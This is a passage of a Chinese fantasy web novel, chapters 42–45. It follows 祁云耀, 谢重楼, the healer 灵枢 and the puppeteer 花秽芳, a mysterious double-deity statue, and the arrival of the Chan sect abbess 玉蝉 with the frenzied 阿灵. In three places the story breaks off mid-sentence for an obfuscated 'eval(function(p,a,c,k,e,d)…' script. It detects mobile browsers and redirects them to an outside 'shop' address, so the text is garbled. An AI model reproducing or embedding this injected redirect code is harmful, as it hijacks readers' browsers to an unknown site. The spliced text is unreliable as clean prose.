终于,花秽芳实在受不了灵枢那双充满恨意的眼睛,他咽了口口水,声音带着几分颤抖,低声辩解: “我不是……我是真的想救你。” 灵枢听到这句话,反而绽开了一抹更加讽刺的笑,他轻轻皱了皱眉毛,脸上的笑意却丝毫未减,反问道: “你想救我?可我想活吗?” 说完这一句,他不再贪恋花秽芳的抱,猛地从他怀里挣脱出来,脚步轻飘飘的,一步一缓地朝着门口走去,没有丝毫留恋。 花秽芳僵在原地,手足无措地看着他越来越远的背影,嘴唇动了动,却始终不知道该说些什么,只能眼睁睁看着他一步步走向门口,心底泛起一阵莫名的恐慌与无力。 忽的,就在灵枢迈过门槛的那一刻,他的目光无意间一转,瞥见了摆在房间角落的那对双人神像。 他的脚步猛地一顿,眼神里闪过一丝暗芒,可仅仅是停顿了一瞬,便又继续抬脚,跨了出去。 变故陡生。 就在他的脚彻底落地的刹那,一阵剧烈的疼痛猛地从腹部传来,尖锐得让他几乎无法呼吸。 他浑身一僵,猛地弯下腰,不受控制地呕出一口黑血,血溅在地上刺目惊心。旋即,眼前一黑,身体再也支撑不住,不受控制地倒了下去。 在陷入昏迷前的最后一秒,他清晰地听到了花秽芳撕心裂肺的惨叫。 好刺耳,他想。 42. 神像 祁云耀是被一阵急促的“咚咚”声吵醒的。 他猛地睁开眼,怀里还紧紧抱着熟睡的谢重楼。窗外天黑沉沉的,东方未亮,只有几缕微弱的月光漏进来,勉强映出屋内的轮廓。 他屏住呼吸仔细听了听,却发现这声音格外怪异——似乎只有他能听见,身旁的谢重楼依旧睡得安稳。他抬眼往门口望去,只见一道高挑的影子静静立在门旁,身形僵直,却丝毫没有推门进来的意思。 借着微弱的月光细细辨认,那道影子的轮廓竟是花秽芳。 祁云耀眉头瞬间蹙起,生怕惊扰了怀里的人,他动作极轻地将谢重楼放平,又轻轻在他额头碰了碰,才披起外衣,悄无声息地走了出去。 刚踏出房间,祁云耀便察觉到了不对劲——花秽芳的脸色难看到了极点,银色逶迤的头发乱糟糟的,眼眶通红,里面布满血丝,浑身都在控制不住地颤抖。 更何况,他常年裹着的黑色斗篷上,此刻竟浸透了浓重的血腥味,那味道浓烈得几乎要溺死人,呛得祁云耀下意识皱紧了眉。 他愣了一瞬,还没来得及开口询问,花秽芳便猛地一把抓住了他的手腕,力道大得几乎要捏碎他的骨头,声音沙哑,微弱得几乎听不清:“帮我。” 祁云耀用力挣了挣,眉头皱得更紧,语气带着几分不耐与警惕:“怎么了?” “灵枢……”花秽芳的喉结艰难地滚动了一下,像是说出这两个字,就用尽了全身的力气,眼底的红血丝愈发浓重,“他撑不住了。求你,再试一次药,就再试一次。” 祁云耀面色一沉,心底的火气瞬间冒了上来——果然和他猜测的一样,灵枢出事了。可先前他才猜测,灵枢或许在偷偷用谢重楼的血做实验,此刻哪里肯轻易答应,语气冷硬:“凭什么?灵枢会死,我就不会吗?你之前给我试的那些药,哪一次不是差点要了我的命?” 花秽芳张了张嘴,似乎想解释什么,嘴唇动了动,可一个字还没说出口,头顶的天空便隐隐传来一阵沉闷的雷声。 他脸色骤变,到了嘴边的话瞬间咽了回去,紧紧闭上嘴,只是用那双通红的眼睛,死死盯着祁云耀,眼底满是绝望与恳求,连浑身的颤抖都愈发剧烈。 “你不会死。”沉默了片刻,他语气异常笃定,像是做出了某种承诺,“谢重楼也不会有事,所以,你可以跟我走了吗?” 祁云耀依旧站在原地未动,只是抱臂环胸,用怀疑的目光打量着他,眼底的警惕丝毫未减。 花秽芳见状,又艰难地退了一步,语气愈发卑微,声音里带着一丝哽咽:“以后再说,所有事,以后我都告诉你。至少现在,我不能死。只要能让灵枢活下来,就算我被天雷劈死,也一定会把你想知道的,全都告诉你。” 最终,祁云耀还是跟他走了。 暗室里只点着几盏幽暗的油灯,光线昏沉,角落里那尊双人神像静静伫立着,跳动的烛火在它身前摇曳,映得神像的两张面容忽明忽暗,透着一股说不出的诡异与庄严。 门口的地面上,摊着一滩未干透的黑血,浓烈的腥臭味混杂着药味,扑面而来。祁云耀的脚步顿了顿,下意识移开视线,抬步跨进去。 灵枢躺在角落的一张小床上,气息微弱得几乎察觉不到,下半张脸以及衣襟处都沾满了血迹,暗红的血渍浸在素白的衣袍上,对比鲜明,触目惊心。 祁云耀匆匆扫了一眼,便迅速转回视线——他心底依旧记着谢重楼手腕的伤疤,对灵枢实在生不出太多同情。 花秽芳正背对着他,在桌边勾兑着什么药水,双手控制不住地颤抖,连拿药瓶的动作都有些不稳,洒出几滴深褐色的药汁在桌面上。 他走到另一张小床上坐下,一时有些无措,目光下意识四处打量,最后又不由自主地落在了角落的那尊双人神像上。 神像的面容像是被蒙上了层雾,却莫名让人移不开眼。 他沉默了片刻,终究按捺不住心底的疑惑,轻声问道: “你供奉的是什么?是神仙吗?” “璇辉君和鸿君。” 花秽芳头也不回地回答,语气平淡,显然这个问题并不是什么秘密。 祁云耀眉头微蹙,低头思索了片刻,语气带着几分不确定,又问道:“鸿君?是传说中的鸿天上神?” “嗯。”花秽芳的声音依旧沙哑,指尖的颤抖丝毫未减,“璇辉君,就是他的伴侣。” “是吗?”祁云耀眼底闪过一丝诧异。 人间修士痴心爱慕天上的神君,这份情感终是感动了那位神君,神君垂怜于他,与其相恋相守,最终诞下了半仙。 那位神君,便是名为鸿天的上神,只是传说中,他的伴侣始终无名无姓,世间传言,那人曾是玉虚仙宗的弟子,可究竟是与不是,从未有人能证实。 今日,他总算知晓了传说中另一人的名字,心底不免生出几分新奇。可这份新奇褪去后,疑惑便如同当头一棒,涌上心头,他语气带着几分难以置信: “两个男的?” “嗯。”花秽芳应了一声,将勾兑好的药水端到祁云耀面前,示意他喝下,随后又转身取来另一套银针,默默站定在祁云耀面前,眼底的哀色藏得极深。 “那传说里的第一个‘半仙’是怎么生的?还有,你怎么知道这么多秘闻?难不成你是——” 祁云耀眼睛猛地瞪大,心底闪过一个大胆的猜测,仰头喝下了那碗药汁,下一秒,面色瞬间一变。 药汁奇苦无比,还夹杂着一股难以忍受的腥臭味,呛得他喉咙发紧。他强忍着不适,将药汁囫囵咽进肚里,可刚一咽下,便忍不住想要干呕出声,脸色苍白了几分。 “不是谁生的,真要算,算是鸿君生的吧。”花秽芳刻意跳过了第二个问题,直截了当否定,“我不是他……” 后面的话,他没有说出口,只是眼底的悲哀愈发浓重。 祁云耀只觉得神志渐渐模糊,脑袋昏沉得厉害,身体不受控制地歪倒在床上。模糊中,他看见花秽芳捏着银针,一步步朝他走近,眼神里的哀痛几乎要溢出来,像是悲伤到了极致,下一秒就要落下泪来。 他的目光轻轻扫过角落的那尊双人神像,最后,像是耗尽了所有力气,带着一丝叹息般,轻声呢喃: “如果我真的是天上神君就好了……” 祁云耀再次醒来时,早已不知过去了多久。 窗外天光大亮,暖融融的日辉透过窗棂洒进来,落在榻边,驱散了屋内残存的阴冷。 他猛地坐起身,下意识去看身侧——空荡荡的,谢重楼已经不在了。 心底瞬间涌上一阵慌乱,他顾不上多想,胡乱抓过一旁的衣物套在身上,连衣袍都没系整齐,便急匆匆推开门追了出去。 廊下,花秽芳正孤零零地坐着,眼神呆滞地望着远方,周身萦绕着一股挥之不去的落寞。听见开门的动静,他头也没回,声音沙哑而平淡,像是早已预料:“灵枢醒了就把他带走了。” “你怎么不拦住他!”祁云耀几步冲过去,满是急切与怒意,眉头拧成一团——他现在觉得灵枢就是谢重楼身边最危险的人。 “拦不住。”花秽芳轻轻叹了口气,语气有气无力,眼底依旧是一片呆滞。 他身上的衣物已经换过,不再是那身沾着血腥味的斗篷,而是一件玄色锦袍,衣料上乘,隐隐有金丝纹路隐没在玄黑间,在日辉的映照下若隐若现;连平日里散乱的头发,也被仔细打理过,银色的发丝逶迤拖在身后,被日光一晃简直像在发光。 只是显然,他精心打理的这一切,想要看的人并未看见,或者说甚至连半点留意都没有。 “哼——”祁云耀冷哼一声,在廊下另一侧坐下,语气里满是嘲讽,“你和这一屋子的人偶加起来,足足四十二只手,还按不住一个刚醒的灵枢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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花秽芳撇了他一眼,眼底闪过一丝不耐,显然不愿多提半句,可不知是顾忌着祁云耀此刻的唯一性,还是另有隐情,他沉默片刻后,终究还是简单总结道: “他快死了,我不想让他死,就把他改成了炉鼎。可他不喜欢,我们就吵架了,现在,他恨我。” 语气平淡,听不出太多情绪,可眼底的落寞,却藏不住。 “还有呢?”祁云耀不肯罢休,继续追问。 花秽芳抬眼,显然不愿多说:“还有什么?” “你之前说,我不会死,谢重楼也不会。”祁云耀目光锐利,瞬间换了话题,紧紧盯着他,“为什么你能笃定我不会死?” 几乎是话音落下的一瞬间,周遭的气息骤然一变,方才还平和的氛围,瞬间变得凝重起来,隐隐约约透出一股风雨欲来之感。 花秽芳又是轻轻叹了口气,眉头微蹙,似乎在斟酌措辞,许久,才用模糊的语气说道:“你是天命之人。” 祁云耀眉头拧得更紧,脑海里忽然闪过一段记忆——他隐约记得,花秽芳曾经提过,谢青也是天命之人。他当即追问道:“谢青也是天命之人?还有,天命之人到底是什么意思?” “唉——”花秽芳刚要开口,天边忽然隐隐传来一阵沉闷的雷声,滚过天际,带着几分威慑。他脸色微变,立刻闭上了嘴,眼神恢复了之前的淡然,语气坚定:“等灵枢彻底安定下来再说吧,现在,我不能死。” 祁云耀心中的疑惑更甚,又追问道:“那你当初来找我,也是因为这个?因为我是天命之人?” “嗯。”花秽芳没有丝毫掩饰,坦然点头,顿了顿,又缓缓开口,语气里带着几分苦涩,“谢长泽一直在四处寻找合适的炉鼎,兜兜转转,最终找到了灵枢。” 说着,他嘴角勾起一抹自嘲的苦笑,眼神里满是无奈:“如果不是你,如果不是谢长泽嫌弃灵枢已经被使用过,说不定过不了多久,药王谷的谷主,又会莫名其妙地突然暴毙——” 话音落下,廊下再次陷入沉默,唯有天边的雷声,愈发清晰。 “你想知道的事情,你可以自己去看。” 忽然,花秽芳轻轻开口,宛若梦呓。“‘祂’会让你看见的。” 祁云耀看了看他,没再说话。 43. 来客 经历这么一遭,十日之期已然将近。 祁云耀心里憋着一股火,却只能强行按捺住心底的愤怒——他满心想去东峰找谢重楼,可又怕惊动了灵枢,反倒让谢重楼陷入困境。 他在西峰的廊下来回踱步,眉头拧成一团,纠结许久,终究还是转身去找了花秽芳。 不知何时起,西峰的病人越来越少,到今日,竟几乎没了人影,往日用来安置病人的隔间,也早已被拆除。祁云耀心里正疑惑着缘由,脚步未歇,却撞见了正对着铜镜梳妆打扮的花秽芳。 花秽芳竟又变回了少年模样,身上穿的,还是那日精心打理时的锦袍。宽大的衣袍套在少年纤细的身形上,显得格外不合身,可他却全然不觉,从空荡荡的袖口里,探出两只略短的小手,正坐在镜前,细细梳理着自己的银发,动作认真。 祁云耀的脚步猛地一顿,面色瞬间一寒,刚要开口质问他还有心思梳妆,却被花秽芳提前打断。 “我要找灵枢,你跟着我,去把谢重楼接回西峰。”花秽芳目不斜视,依旧专注地打理着头发,而后抬手理了理微乱的袖口,灵巧地从椅子上跳下来。长长的衣摆拖在地上。他也毫不在意。 话音落,他指尖掐诀,一道金光骤然亮起,包裹住两人身形。下一秒,祁云耀便觉眼前一花,再睁眼时,已然站在了东峰院门前。 东峰的院门,又恢复了往日的模样,只是虚虚掩着,未锁分毫。 隔着门板,院内的声响便能清晰传来——谢重楼那带着几分呆滞的声音,隐隐约约飘出来,每说四五句,才会传来灵枢一句轻轻淡淡的回应,语气里没什么波澜。 两人不再犹豫,轻轻推开院门走了进去。 只见灵枢坐在主屋正门,面前支着一张小桌,上摆着一卷书卷,神情淡然;而谢重楼,则搬着一箱沉甸甸的瓶瓶罐罐,正慢慢往侧屋的方向走,动作略显笨拙。 见到他们二人进来,尤其是看到祁云耀时,谢重楼的眼睛瞬间亮了起来,可不知顾忌着什么,刚扬起的嘴角又压了下去,眉毛微微耷拉着,唯有一双眼睛,亮晶晶地黏在祁云耀身上,脚步却未停歇,径直搬着东西进了侧屋。旋即,侧屋里传来一声轻微的闷响,而后便再没了动静。 祁云耀的眼神猛地一顿,下意识调转脚步,想冲进侧屋看看情况,却被灵枢的声音轻轻打断。 灵枢缓缓偏过头,目光淡淡打量着上门的两人,在花秽芳身上多停留了一瞬,眼底闪过一丝复杂,随即又飞速移开,重新落回面前的书卷上,声音懒洋洋的:“有事?” “来看看你呀。” 花秽芳立刻换上一副嬉皮笑脸的模样,全然不顾灵枢身上拒人于千里之外的气场,自顾自地脱了鞋,踏上廊阶,径直坐在了灵枢手边,亲密地贴靠着他,俨然一副恋人相处的模样。 灵枢意外地没有推开他,只是视而不见,指尖依旧轻轻翻动着书页。花秽芳见状,愈发得寸进尺,身子一个劲往里挤,干脆钻进了灵枢的怀里,坐在他腿上,假装一起看着面前的书卷,眼角的余光却不停示意祁云耀——眼神扫过祁云耀,又飞快瞟向侧屋的方向,明明白白示意他赶紧进去。 祁云耀被眼前这诡异的一幕惊住,一时真的搞不懂这两人的相处方式,明明前几日还剑拔弩张、满心恨意,此刻却又亲密得反常。但他也没再多想,既听话,又遵从自己的心意,转身快步走向了侧屋。 刚走到侧屋门口,就撞见了正推门出来的谢重楼。谢重楼见到他,眼睛又是一亮,却还是下意识不安地瞟了眼主屋的方向,见灵枢依旧端端正正地坐着,似乎并未留意这边,心里才悄悄松了口气,旋即压低声音,对祁云耀说:“等我一下。” 话音落,他脚步轻快地跑向廊下,弯腰将摆放在那里的几箱瓶罐一起揽到怀里,试图抬起。祁云耀见状,立刻快步上前帮忙,伸手接过了其中两箱。 他眼神飞快抬了一瞬,瞥见主屋里的两人依旧维持着那诡异的姿势,灵枢神色淡然地翻着书,花秽芳则赖在他怀里。 见状,他也放下心来,脚步轻快地协助谢重楼,将所有箱子都搬进了侧屋。 进了侧屋才发现,屋子深处竟藏着一个地窖,黑漆漆的洞口直通地底,看不清里面的模样。 谢重楼看了看地窖,又看了看祁云耀,思索片刻后,轻声说道:“你别进去,我去放就好了。”说着,他接过祁云耀手里的箱子,抱着一步步走下地窖的楼梯,身影渐渐消失在黑暗里。 祁云耀在洞口等了片刻,没过多久,谢重楼就从地窖里走了上来,身上沾了不少灰尘,衣角也蹭得有些脏。祁云耀伸手,轻轻帮他拍掉身上的灰尘,而后问道:“你师傅还交代你做别的事吗?” “还要去谷口找婆婆,他说婆婆年迈,让我帮她把地扫了。”谢重楼老老实实地回答,一双眼睛却始终亮晶晶地盯着祁云耀,一刻也不肯移开,眼底满是藏不住的欢喜。 祁云耀被他看得心里甜滋滋的,下意识刚想牵住他的手带他出去,院外忽然传来一阵急促的脚步声,杂乱而慌张,打破了院内的宁静。 四人齐齐抬眼望去,只见一个寻常打扮的药王谷弟子,满头大汗、气喘吁吁地立在院外,胸口剧烈起伏着,恭恭敬敬地朝灵枢抱拳行礼,声音急切: “谷主……禅宗来了很多人……说是请您治病!” 花秽芳闻言,面色瞬间一变,下意识伸手捉住灵枢的手腕,语气急切地想要阻止:“你不能去!” 可话音未落,就被灵枢一把狠狠推开,踉跄着摔在地上成一摊。 灵枢慢条斯理地理了理衣袍上,缓缓站起身。花秽芳不死心,挣扎着爬起来,伸手死死拽住他的衣摆,却又被灵枢毫不留情地踹了一脚,再次跌坐在地。 “你现在的身体——”花秽芳急得声音焦急,眼底满是焦灼,话却没能说完。 灵枢却头也不回地弯腰穿鞋下地,语气里满是嘲讽,嗤笑一声:“难不成还能靠你?” 几乎是他走到院门口的下一秒,门外便传来声势浩大的动静,脚步声、轿杆碰撞声交织在一起。只见几个禅宗弟子合力抬着一架小轿,轿中不断传出女人痛苦的嘶吼,凄厉又绝望。 小轿稳稳落在东峰门前,轿帘被玉蝉一把掀开,她坐在轿中,怀里死死抱着一个被绳索绑住的女人。 那女人额角青筋暴起,目眦尽裂,满脸泪痕,神情癫狂,一见到灵枢,便更加拼命地嘶吼起来,恐惧地往后缩,却被玉蝉牢牢按住,动弹不得。 灵枢靠在门框上,好整以暇地看着这场闹剧,眼神淡然,末了才大发慈悲般落下一句:“真狼狈啊,方丈。” 玉蝉此刻压根顾不上回嘴,满心都是怀里的女人,只能连拖带拽地将她从小轿里扯下来。女人的双脚一触及地面,像是被什么刺激到一般,愈发害怕,扭着身躯就想躲回轿中,却被玉蝉死死按在原地,挣脱不得。 她拼命扭动挣扎,几次都险些从玉蝉手里挣脱,可玉蝉反应极快,抬手拍下一道黄符,女人便立刻浑身僵硬,再次被牢牢制住。 灵枢上前几步,伸出手想替女人把脉,可女人却像是见了鬼一般,疯了似的躲闪,死活不让他触及自己分毫。 灵枢眉头紧锁,脸上露出不耐之色,刚要转头问玉蝉能不能直接将人打晕,那女人却忽然僵住不动,目光死死盯着他的身后。 他眉头一蹙,缓缓回头望去,只见花秽芳不知何时已经站在了院门口,静静盯着这边的闹剧,眼底翻涌着说不清道不明的情绪。 那女人正是见到了花秽芳,才瞬间僵住,嘴唇微微翕动了几下,眼神迷茫又疑惑,不确定地低声呢喃:“璇辉……” “我不是他。”花秽芳语气平淡,缓缓几步上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而阿灵,在看清屋内两人的瞬间,也彻底呆住了。准确来说,是在目光落在祁云耀身上的那一刻,所有的慌乱与恐惧都烟消云散,只剩下难以置信的怔然。 一滴泪水毫无预兆地从她眼角滑落,顺着布满泪痕的脸颊往下淌,声音颤抖得不成样子,轻声唤道:“小西?” 祁云耀心里莫名升起一股异样的不安,眉头微蹙,压根顾不上细想,只想拽着谢重楼赶紧躲进地窖,以免被禅宗弟子发现,却见阿灵猛地挣脱了手上松动的束缚,疯了似的冲了上来,一把扑进他的怀里,眼泪汹涌而出,哽咽着哭喊: “小西!我终于找到你了!我是妈妈啊!” 祁云耀:??? 他整个人都懵了,大脑一片空白,僵硬地站在原地,连抬手推开她的动作都忘了。 而一旁的谢重楼则是认真思索,他皱着眉头,眼睛看看怀里被阿灵抱住的祁云耀,又看看哭得撕心裂肺的阿灵,像是终于明白了些什么,最后竟学着阿灵的语气,缓缓地跟着叫了一声: “妈妈。” 就在这时,禅宗弟子们也追进了侧屋,可当他们看清屋内的景象时,所有人都僵在了原地,—— 只见一个月前被花秽芳掳走的谢长泽大弟子尧云,正被阿灵紧紧抱着,而旁边站着的,竟然是传闻中已经死了十年的谢重楼,还对着阿灵叫了声“妈妈”! 禅宗弟子们:!!! 混乱之中,玉蝉快步冲了进来,抬手一掌便劈在了阿灵的后颈上。 阿灵哼都没哼一声,便软软地倒了下去,玉蝉连忙伸手将她抱住,低头念了一声“阿弥陀佛”,神色愧疚地看向祁云耀和谢重楼,低声道:“抱歉,惊扰二位了。” 说罢,她示意身后的弟子们退下,自己则抱着昏迷的阿灵,再次躬身致歉后,便带着一众弟子匆匆退出了侧屋,关上了房门,将混乱隔绝在外。 44. 经典 玉蝉抱着阿灵,缓缓从侧屋退出,神色平静无波。 一旁的禅宗弟子们也和她如出一辙,面无表情,仿佛刚才亲眼见到“死而复生”的谢重楼、撞见被掳走的祁云耀,都与他们无关,连一丝诧异都未曾显露。 灵枢杵在院外,正和花秽芳低声交谈着什么,语气隐晦,旁人听不真切。 话音落,他眼神骤然凌厉,扫过一众垂眸站立的禅宗弟子,最后目光落在玉蝉怀里昏迷的阿灵身上,眉头微微一拧,眼底闪过一丝凝重。 玉蝉对此依旧视而不见,抱着阿灵走到灵枢和花秽芳身前,微微垂眸,再次双手合十,低低道了一声“阿弥陀佛”,神色恭敬却疏离。 灵枢淡淡看了看她,又扫了眼从侧屋跟出来、依旧带着几分警惕的祁云耀和谢重楼,嘴角勾起一抹嗤笑,语气随意地对花秽芳吩咐道:“去西峰吧。” 旋即,花秽芳指尖掐诀,招出一道金光法阵,轻轻挥手,示意众人跟上,引导着灵枢、玉蝉一行以及祁云耀、谢重楼,一同前往西峰。 一行人抵达西峰后,禅宗弟子们便十分有默契地在院门前盘膝坐下,恭恭敬敬,既不主动进去,也不随意喧哗,只是垂眸敛目,眼观鼻鼻观心,对院内那些模样诡异的灵小枢、灵阿枢视若无睹,仿佛这些怪异的人偶根本不存在。 玉蝉则顺着花秽芳的指引,将昏迷的阿灵放进了西峰的一间小屋。 她放下阿灵时,余光无意间扫到屋角摆放的那尊双人神像,神色瞬间变得虔诚,快步上前,恭恭敬敬地躬身,低低道了一声佛号,眼底满是敬畏。 灵枢像是极不愿待在此地一般,眉头微蹙,快步上前,伸手替躺在床上的阿灵把了把脉,又和玉蝉低声交流了几句,片刻后便得出了结论,语气平淡:“她这是惊厥之症,这几日,是不是有什么东西刺激到她了?” 玉蝉垂眸思索了片刻,轻轻摇了摇头,声音轻柔却坚定:“并未有异常,只是谢掌门曾登门拜访过,为上次的失礼之举赔礼道歉。” “那就定是那小贱人吓着她的呗。”花秽芳立在一旁,语气十分不屑。 此时,祁云耀正拉着谢重楼,悄悄站在门外,屏住呼吸,仔细偷听着屋内的对话。谢重楼听得云里雾里,忍不住凑到祁云耀耳边,低声问道:“谢长泽是谁?为什么和我一个姓?我们认识吗?” 祁云耀听到“谢长泽”这三个字,心底瞬间涌上一阵厌恶,压根不想回忆起这个人,便随意敷衍道:“对啊,他是学你的,以后见到他,躲远点就好。” 谢重楼似懂非懂地点了点头,若有所思地低下了头,满脸是疑惑,却也没再追问。 屋内的灵枢和玉蝉,却全然将花秽芳的话当耳旁风。两人又低声商议了一阵,最后灵枢不耐烦地摆了摆手,口述了药方就差使花秽芳去抓药,随后便下了逐客令,语气冷淡:“药拿来后,你就将她带走。” 玉蝉低头看了看床上依旧昏睡的阿灵,再次双手合十,语气郑重地保证道:“谷主放心,我等今日只见过谷主,其余之人,一概不知。” “随你说不说。”灵枢语气十分随意,眼底却闪过一丝冷意,“大不了,就清理门户。” 玉蝉闻言,神色微变,不再多言,只是双手合十,又低低道了一声佛号,垂眸立于一旁,静静等候。 就在此时,床上躺着的阿灵忽然悠悠转醒。她迷茫地眨了眨眼,环顾四周,没有见到熟悉的身影,顿时急了,挣扎着支棱起身子,声音迷糊却急切:“小西呢?小西去哪了!” 玉蝉见她醒来,神色不变,熟练地从袖中掏出捆缚的绳索,准备将她重新绑起来,以免她再次疯癫逃窜。 可还不等她有所动作,阿灵的目光忽然落在了屋角的双人神像上,瞬间惊呼一声,像是被什么吸引一般,连滚带爬地从床上爬了过去。就在她的手指快要触及神像上的鸿天上神时,目光无意间扫到了他身边立着的璇辉君,又猛地惊呼一声,“扑通”一声跪在了地上,死死抱住神像前的桌腿,痛哭流涕:“老大救我!救救我!有人要扒我的皮!求求你救救我!” 她又开始神志不清地胡言乱语,哭声凄厉,穿透力极强,引来了院外一众灵小枢的围观。可这些人偶刚探出头,就收获了灵枢一记凌厉的眼刀,吓得纷纷嘤嘤嘤地哭着,慌慌张张地躲了起来,再也不敢露面。 “我想哥哥们了,老大,你让我见见哥哥们吧!我害怕,我真的好害怕!有人要吃了我啊啊啊!” 阿灵死死抱着桌腿,浑身不停颤抖,明明想要触碰神像上的鸿天上神,却又像是畏惧他身边的璇辉君一般,始终不敢靠近,只能一个劲地朝神像磕头,呜呜咽咽地哭喊。 到最后,她的哭声越来越嘶哑,嘴里的话语也变得含糊不清,叽里咕噜的,没人能听懂她在说什么。可站在门外的祁云耀,却像是听懂了一般,眉头紧紧皱起,凝神听着阿灵断断续续的哭喊:“为什么要留下我!为什么只留下我一个!我再也不睡觉了,我不睡觉了,我会好好修炼的,老大你救救我吧!求求你了!我害怕,我想哥哥了!” 就在这时,花秽芳拿着药匆匆回来,推开门的瞬间,见到的便是这样一片混乱。 灵枢显然早已不耐烦,懒得再看眼前的闹剧,身子微微一晃,脚步踉跄着转身往外走,像是方才替阿灵诊脉,耗尽了他全部力气。 花秽芳见状,立刻快步追出去,指尖掐诀招出法阵,小心翼翼地扶着灵枢,送他回去。 不过片刻,便折返回来,将手里的药,递给玉蝉。 随后,他无视玉蝉诧异的目光,径直走向屋角的双人神像,在阿灵极度恐惧、瞳孔骤缩的注视下,伸手将那尊神像取了下来。 只听“吧嗒”一声轻响,他竟直接将神像上的鸿天上神与璇辉君分离开来,而后随手将鸿天上神的神像塞进了阿灵的怀里。 阿灵的哭声猛地一噎,整个人僵在原地,脸上满是不敢置信,捧着神像的手微微颤抖,连眼泪都忘了掉,眼神里满是茫然与错愕。 花秽芳则抱着璇辉君的神像,侧身给玉蝉和阿灵让出一条道,语气随意,甚至带着几分漫不经心:“这么喜欢,就带走吧。” 阿灵像是听到了什么不可思议的话语,哭声彻底停了下来。她低头看了看手里的鸿天上神神像,又抬眼看了看花秽芳怀里的璇辉君,眼中渐渐聚集起一丝茫然,声音微弱地呢喃:“你不是楼——” “都说了,我不是他。” 花秽芳摆了摆手,语气里也带着几分不耐。玉蝉见状,连忙上前,轻轻拉住阿灵的胳膊,将人带走。 出奇的是,阿灵抱着鸿天上神的神像,竟真的不再哭闹,也没有了之前凄厉的惨叫,眼神渐渐清明了些,像是终于恢复了一点神志。她被玉蝉拉着往外走时,又停下脚步,回头看向屋内,轻声问道: “小西呢?小西去哪了?” 玉蝉面色平静,没有说话,只是沉默地拉着她往门外走。 旋即,阿灵像是突然想起了什么,眼神黯淡下来,自言自语般低声说道:“啊,我想起来了,小西应该早就死了。” 玉蝉闻言,脚步微顿,低头低低道了一声“阿弥陀佛”,语气里带着几分悲悯,却依旧没有多言。 阿灵又抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292134|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起头,看向玉蝉,眼神里带着一丝期盼,轻声问道:“她们多久来看我?我有点想见到她们了。” 玉蝉淡淡抬眸,语气平缓:“还有十天吧。” 阿灵轻轻点了点头,一手紧紧抱着怀里的鸿天上神神像,一手乖乖牵着玉蝉的手。 两人的身影渐渐远去。 禅宗的人走后,祁云耀心里莫名生出一股强烈的不安,那种预感像一团阴霾,萦绕在心头,挥之不去。 他总隐隐约约觉得,有什么不好的事情,快要发生了。 尽管方才偷听,得知谢长泽还被事务绊住了脚,暂时来不及前来寻找他,这本该是件值得庆幸的好事,可祁云耀心里的不安,却丝毫没有减少。 哪里不对,他说不上来,可就是觉得,一切都透着诡异,仿佛有一张无形的网,正在悄悄向他们收紧。 花秽芳送走玉蝉一行后,便代替灵枢,转头对着还站在原地的两人摆了摆手,指使道:“灵枢说了,你们两个去谷口扫扫地,扫干净了再回来。” 说完,便一脸开心、美滋滋地转身,急匆匆往东峰小院赶去,显然是迫不及待要去黏着灵枢。 祁云耀虽满心不情愿,却也没有反驳,拿起扫帚便往谷口走去,扫地时,脑子里依旧反复思索着那份莫名的不安,神情恍惚。 直到月上中天,夜色渐浓,两人才总算将谷口打扫得干干净净。他们和守在谷口的老婆婆简单告别后,便并肩缓步往药王谷深处走去。 走到山道岔路口时,祁云耀下意识便往西峰的方向迈去——他早已习惯了和谢重楼待在一起,压根没多想,可走了几步,却发现身边的脚步声不见了。他猛地恍然回头,才看见谢重楼正扭扭捏捏地站在岔路口,低着头,脚尖轻轻蹭着地面,并没有第一时间跟上来。 祁云耀脑中的所有杂念瞬间消散,快步走回去,皱着眉拉住他的手腕,语气带着几分急切:“你愣在这儿做什么?” 谢重楼抬起头,眼神里带着犹豫和乖巧,小声说道:“师傅没让我跟你回去啊!要是不回东峰跟他说一声,会不会不好?我觉得,应该跟他说一声才对。” 祁云耀的表情瞬间一变,语气瞬间严肃起来,还带着几分明显的吃味,酸溜溜地问道:“他让你做什么你就做什么,他不让你做什么你就不做什么吗?我让你跟我回西峰,你怎么就不肯?” “也不是这样的。”谢重楼连忙摆了摆手,小声编解,“可是……不回去跟师傅说一声,他会不会担心?我觉得,还是应该说一声的。” 祁云耀瘪了瘪嘴,死死盯着他,脸上满是不情愿,半晌,才像是大发慈悲一般,松了口气,语气缓和了些:“那好吧,我陪你回东峰说一声。但你要保证,不论他答不答应,说完都要跟我回西峰,不许留在那。” “好!”谢重楼立刻喜笑颜开,用力点了点头,眼神亮晶晶的。 两人沿着山道缓缓往上走,谢重楼像是察觉到祁云耀还有些不高兴,一路上都紧紧贴着他,胳膊时不时蹭一蹭他,脚步也亦步亦趋,那副黏人的模样,弄得祁云耀心猿意马,先前的不安和吃味,瞬间消散大半,再也没心思去思索那些诡异的预感。 他侧头看着身边人乖巧的侧脸,月光洒在谢重楼的脸上,柔和又好看,忽然兴起,转过身,郑而重之拉起了地谢重楼的手,一脸严肃。 谢重楼被他的行为弄得吓了一跳,忙不迭地也停下脚步,转身看着他。 四目相对,有什么在暗自发酵。 下一秒,就听祁云耀道: “如果有一天,我和灵枢同时掉水里,你救谁?” 45. 上桌 “救你!” 几乎是祁云耀的话音刚出,谢重楼便下意识开口,语气干脆利落,没有丝毫拖泥带水,甚至连半分迟疑都没有。或许他压根没仔细听清问题的全貌,光是听见祁云耀的声音,听见那个关乎“如果我和——”的开头,便本能地给出了答案。 